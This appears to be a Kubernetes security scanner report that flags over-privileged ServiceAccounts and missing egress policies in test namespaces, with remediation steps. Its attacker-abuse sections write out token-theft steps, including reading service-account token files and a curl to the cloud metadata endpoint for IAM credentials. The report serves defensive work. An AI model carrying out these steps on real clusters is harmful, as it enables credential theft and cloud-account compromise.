  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/local-path-storage/local-path-provisioner-service-account and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlistwatchcreatepatchupdatedelete on pods
via local-path-provisioner-role (binding local-path-provisioner-bind) in namespace local-path-storage
getlistwatch on nodespersistentvolumeclaimsconfigmapspodspods/log
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
getlistwatchcreatepatchupdatedelete on persistentvolumes
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
createpatch on events
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
getlistwatch on storageclasses
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
Workloads
Pod/local-path-provisioner-67b8995b4b-cwz9j in namespace local-path-storage
Deployment/local-path-provisioner in namespace local-path-storage
Dangerous permissionscreate pods (local-path-storage)
Show raw JSON
{
  "dangerous_permissions": [
    "create pods (local-path-storage)"
  ],
  "rules": [
    {
      "namespace": "local-path-storage",
      "resources": [
        "pods"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    {
      "namespace": "",
      "resources": [
        "nodes",
        "persistentvolumeclaims",
        "configmaps",
        "pods",
        "pods/log"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "namespace": "",
      "resources": [
        "persistentvolumes"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    {
      "namespace": "",
      "resources": [
        "events"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "create",
        "patch"
      ]
    },
    {
      "namespace": "",
      "resources": [
        "storageclasses"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "local-path-provisioner-67b8995b4b-cwz9j",
      "namespace": "local-path-storage"
    },
    {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage"
    }
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 10.0
ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
Scope · Namespace ServiceAccount lp-fixtures/sa-lp-wildcard: namespace-scoped subject; mounted by pods in lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: ServiceAccount/lp-fixtures/sa-lp-wildcard

ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard carries one or more dangerous RBAC capabilities (secrets (lp-fixtures)) *and* is actively mounted by workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4, Deployment/lp-fixtures/lp-wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4, Deployment/lp-fixtures/lp-wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/lp-fixtures/sa-lp-wildcard immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4, Deployment/lp-fixtures/lp-wildcard-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (lp-fixtures)) directly. The token already authenticates as ServiceAccount/lp-fixtures/sa-lp-wildcard, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/lp-fixtures/sa-lp-wildcard into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4, Deployment/lp-fixtures/lp-wildcard-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/lp-fixtures/sa-lp-wildcard and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
* on secrets
via r-lp-wildcard (binding rb-lp-wildcard) in namespace lp-fixtures
Workloads
Pod/lp-wildcard-app-7bb4d99f67-f6xv4 in namespace lp-fixtures
Deployment/lp-wildcard-app in namespace lp-fixtures
Dangerous permissionssecrets (lp-fixtures)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (lp-fixtures)"
  ],
  "rules": [
    {
      "namespace": "lp-fixtures",
      "resources": [
        "secrets"
      ],
      "source_binding": "rb-lp-wildcard",
      "source_role": "r-lp-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "lp-wildcard-app-7bb4d99f67-f6xv4",
      "namespace": "lp-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures"
    }
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-pod-create: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ServiceAccount/rbac-fixtures/sa-pod-create

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create carries one or more dangerous RBAC capabilities (create pods (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/daemon-app-nklhv, DaemonSet/rbac-fixtures/daemon-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/daemon-app-nklhv, DaemonSet/rbac-fixtures/daemon-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-pod-create immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/daemon-app-nklhv, DaemonSet/rbac-fixtures/daemon-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (create pods (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-pod-create, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-pod-create into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/daemon-app-nklhv, DaemonSet/rbac-fixtures/daemon-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-pod-create and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
create on pods
via cr-pod-create (binding crb-pod-create) (cluster scope)
Workloads
Pod/daemon-app-nklhv in namespace rbac-fixtures
DaemonSet/daemon-app in namespace rbac-fixtures
Dangerous permissionscreate pods (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "create pods (cluster)"
  ],
  "rules": [
    {
      "namespace": "",
      "resources": [
        "pods"
      ],
      "source_binding": "crb-pod-create",
      "source_role": "cr-pod-create",
      "verbs": [
        "create"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "daemon-app-nklhv",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Namespace 10.0
ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)
Scope · Namespace ServiceAccount secrets-bundle/cross-ns-reader: namespace-scoped subject; mounted by pods in secrets-bundle
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: ServiceAccount/secrets-bundle/cross-ns-reader

ServiceAccount ServiceAccount/secrets-bundle/cross-ns-reader carries one or more dangerous RBAC capabilities (secrets (secrets-bundle-target)) *and* is actively mounted by workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn, Deployment/secrets-bundle/cross-ns-consumer). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn, Deployment/secrets-bundle/cross-ns-consumer. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/secrets-bundle/cross-ns-reader immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn, Deployment/secrets-bundle/cross-ns-consumer) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (secrets-bundle-target)) directly. The token already authenticates as ServiceAccount/secrets-bundle/cross-ns-reader, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/secrets-bundle/cross-ns-reader into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn, Deployment/secrets-bundle/cross-ns-consumer) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/secrets-bundle/cross-ns-reader and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlist on secrets
via secrets-reader (binding cross-ns-secrets-read) in namespace secrets-bundle-target
Workloads
Pod/cross-ns-consumer-6c945c9c9d-jfxxn in namespace secrets-bundle
Deployment/cross-ns-consumer in namespace secrets-bundle
Dangerous permissionssecrets (secrets-bundle-target)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (secrets-bundle-target)"
  ],
  "rules": [
    {
      "namespace": "secrets-bundle-target",
      "resources": [
        "secrets"
      ],
      "source_binding": "cross-ns-secrets-read",
      "source_role": "secrets-reader",
      "verbs": [
        "get",
        "list"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "cross-ns-consumer-6c945c9c9d-jfxxn",
      "namespace": "secrets-bundle"
    },
    {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle"
    }
  ]
}
HIGH

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to

KUBE-SA-DAEMONSET-001 1 subject Score 9.4
MITRE ATT&CK: T1611T1552.007T1078.004

Affected subject

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.4
ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to
Scope · Cluster ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create: DaemonSet places its token on every node in the cluster (or every node matching the DaemonSet's nodeSelector)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ServiceAccount/rbac-fixtures/sa-pod-create

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by a DaemonSet (Pod/rbac-fixtures/daemon-app-nklhv, DaemonSet/rbac-fixtures/daemon-app). DaemonSets schedule one pod per matching node, so the kubelet projects this SA's token onto every one of those nodes. From an attacker's perspective, that turns any single node compromise (kernel CVE, runtime escape, host-mount-via-misconfigured-pod, malicious workload that escapes its sandbox) into immediate possession of the SA's identity, scaled by node count.

Aggregated rules: - verbs [create] on resources [pods] (from crb-pod-create/cr-pod-create in cluster-wide)

DaemonSet-mounted SAs are special-case for two reasons:
1. Distribution: a typical cluster has tens to thousands of nodes. The token is on each one, in /var/lib/kubelet/pods/<uid>/volumes/.... Any node compromise (including ones the security team would normally call "contained to one node") exfiltrates the same token, and rotating one node's token does not invalidate the others (until the next pod re-projection cycle, ~1h with default token TTL).
2. Privilege: DaemonSets are typically infrastructure agents (logging, monitoring, CNI, CSI, cluster-autoscaler) that legitimately need cluster-wide reads. So the SA tends to carry above-average permissions: nodes:get, pods:list, events:create, sometimes secrets:get for image-pull credentials. Combined with cluster-wide distribution this is a high-leverage credential.

Impact A single node compromise yields a token that authorizes whatever this SA's RBAC says, anywhere in the cluster. With DaemonSet-typical permissions (cluster-wide reads, sometimes node-level controls) this is a fast pivot from one host to cluster-wide visibility/influence.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises one node via a kernel CVE in a tenant workload, an outdated containerd, or a misconfigured pod with hostPath: / they were able to schedule there.
  2. From the host they read /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected-volumes/token (the projected token of ServiceAccount/rbac-fixtures/sa-pod-create).
  3. They use the token from outside the cluster (kubectl --token=...). The token still works because projection-renewal does not invalidate already-extracted copies until the original expiration.
  4. They use the SA's RBAC for whatever it grants (typically nodes:get, pods:list, secrets:get for image pulls) to locate higher-value targets.
  5. Scale: every node has a copy. Cleanup is per-node, and the team typically only rotates the compromised node's token, leaving the same SA active on all the others.
Remediation
Tighten ServiceAccount/rbac-fixtures/sa-pod-create's RBAC to the literal minimum the DaemonSet needs, set short token TTL (expirationSeconds: 600) on the projected token, and treat the DaemonSet's image and host mounts as part of the SA's effective trust boundary.
  1. Audit ServiceAccount/rbac-fixtures/sa-pod-create's actual API calls with audit2rbac and pare the bindings down to the minimum verbs. Remove any secrets:get unless explicitly required for image pulls.
  2. In the DaemonSet pod template, project the token with expirationSeconds: 600 (10 min) instead of the default 1h. This caps the leak window for any single token theft.
  3. Audit the DaemonSet's container image and host mounts: a DaemonSet with hostPath: / is itself an escape primitive. Disallow privileged containers, hostPath, hostPID, hostNetwork in the DaemonSet's PodSpec.
  4. Add per-node detection: alert on kubectl create token <sa> invocations from outside expected control-plane subjects, and on usage of the SA's name from IPs that are not pod CIDR.
  5. If the DaemonSet does not actually need an API token, set automountServiceAccountToken: false on its PodSpec and on ServiceAccount/rbac-fixtures/sa-pod-create itself.
Evidence
Effective rules
create on pods
via cr-pod-create (binding crb-pod-create) (cluster scope)
Workloads
Pod/daemon-app-nklhv in namespace rbac-fixtures
DaemonSet/daemon-app in namespace rbac-fixtures
Show raw JSON
{
  "rules": [
    {
      "namespace": "",
      "resources": [
        "pods"
      ],
      "source_binding": "crb-pod-create",
      "source_role": "cr-pod-create",
      "verbs": [
        "create"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "daemon-app-nklhv",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
MEDIUM

Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights

KUBE-SA-DEFAULT-002 1 subject Score 8.2

Affected subject

MEDIUM ServiceAccount/vulnerable/default Namespace 8.2
Default ServiceAccount vulnerable/default carries explicit RBAC, so every pod that omits serviceAccountName inherits these rights
Scope · Namespace Namespace vulnerable: every Pod that does not set serviceAccountName mounts the default SA's token
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: ServiceAccount/vulnerable/default

ServiceAccount vulnerable/default has explicit RBAC bindings. Every Pod created in vulnerable that does not set spec.serviceAccountName is silently bound to this SA, the kubelet projects its token into the pod, and the workload can call kube-apiserver with whatever permissions the bindings grant. Nobody explicitly asked for any of this.

Aggregated rules:
- verbs [get] on resources [configmaps] (from default-sa-rb/cm-reader in vulnerable)

This is one of the most common privilege-escalation gateways in Kubernetes for two reasons: (1) the default SA is the *implicit* identity for every misconfigured manifest, so a single binding to it propagates to every team in the namespace; (2) developers iterating on a deployment regularly forget to set serviceAccountName and never notice the elevated identity because the API behaves as expected. The Kubernetes RBAC good-practices guide is explicit: "Avoid granting RBAC to the default service account in any namespace," precisely because it converts "forgetting a field" into "granting privilege."

The right model is to leave the default SA permissionless and require every workload to declare its identity explicitly. That turns the implicit default into a fail-closed signal that something is misconfigured.

Impact Any Pod in vulnerable that omits serviceAccountName quietly mounts a token for these RBAC rules. Compromise of any such pod (RCE in any app) yields immediate API access at the granted privileges. Workloads attached: Pod/vulnerable/generic-hostpath-app-68d6b85955-kb8pt, Pod/vulnerable/host-ns-app-7cb46d5788-zqfcp, Pod/vulnerable/risky-app-5879fbc5d8-4pldg, Pod/vulnerable/root-runner-5db6f7b4bf-h6cmp, Pod/vulnerable/socket-mounts-app-78c5564768-mbrlx, Deployment/vulnerable/generic-hostpath-app, Deployment/vulnerable/host-ns-app, Deployment/vulnerable/risky-app, Deployment/vulnerable/root-runner, Deployment/vulnerable/socket-mounts-app.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker exploits a workload in vulnerable that did not set spec.serviceAccountName (a common omission).
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod filesystem.
  3. They curl the kube-apiserver with the token's bearer header. The granted RBAC applies, even though the developer never knew the SA had any permissions.
  4. They use the granted rights (typical patterns: list secrets in the namespace, list pods cluster-wide, exec into other pods) to extend reach.
  5. Because the binding is to default rather than a named SA, future pods in vulnerable *also* inherit this identity. Every redeploy of every workload in the namespace becomes a potential privesc point.
Remediation
Remove all RoleBindings/ClusterRoleBindings to vulnerable/default, create dedicated ServiceAccounts per workload, and set automountServiceAccountToken: false on the default SA.
  1. List the bindings: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "default" and .namespace == "vulnerable")'.
  2. For each binding, identify the workloads that actually need the right and create a dedicated SA for them (kubectl create sa <workload>-sa -n <ns>); rebind to the dedicated SA.
  3. Delete the bindings to default once consumers are migrated.
  4. Patch the default SA to disable token automounting: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'. Combined with the next step, any pod that forgets serviceAccountName will fail closed instead of inheriting tokens.
  5. Wire enforcement: a Kyverno policy that warns/denies any new RoleBinding whose subjects contain default SA, and any Pod missing an explicit serviceAccountName.
Evidence
Effective rules
get on configmaps
via cm-reader (binding default-sa-rb) in namespace vulnerable
Workloads
Pod/generic-hostpath-app-68d6b85955-kb8pt in namespace vulnerable
Pod/host-ns-app-7cb46d5788-zqfcp in namespace vulnerable
Pod/risky-app-5879fbc5d8-4pldg in namespace vulnerable
Pod/root-runner-5db6f7b4bf-h6cmp in namespace vulnerable
Pod/socket-mounts-app-78c5564768-mbrlx in namespace vulnerable
Deployment/generic-hostpath-app in namespace vulnerable
Deployment/host-ns-app in namespace vulnerable
Deployment/risky-app in namespace vulnerable
Deployment/root-runner in namespace vulnerable
Deployment/socket-mounts-app in namespace vulnerable
Show raw JSON
{
  "rules": [
    {
      "namespace": "vulnerable",
      "resources": [
        "configmaps"
      ],
      "source_binding": "default-sa-rb",
      "source_role": "cm-reader",
      "verbs": [
        "get"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "generic-hostpath-app-68d6b85955-kb8pt",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "host-ns-app-7cb46d5788-zqfcp",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "risky-app-5879fbc5d8-4pldg",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "root-runner-5db6f7b4bf-h6cmp",
      "namespace": "vulnerable"
    },
    {
      "kind": "Pod",
      "name": "socket-mounts-app-78c5564768-mbrlx",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable"
    },
    {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable"
    }
  ]
}

Network Policy

52 findings · 7 rules · 0 critical · 45 high · 7 medium · 0 low
HIGH

Workload DaemonSet/rbac-fixtures/daemon-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable

KUBE-NETPOL-IMDS-001 28 subjects Score 7.8

Affected subjects (28)

HIGH DaemonSet/rbac-fixtures/daemon-app Workload 7.8
Workload DaemonSet/rbac-fixtures/daemon-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Workload DaemonSet/rbac-fixtures/daemon-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Attacker gains RCE in DaemonSet/rbac-fixtures/daemon-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
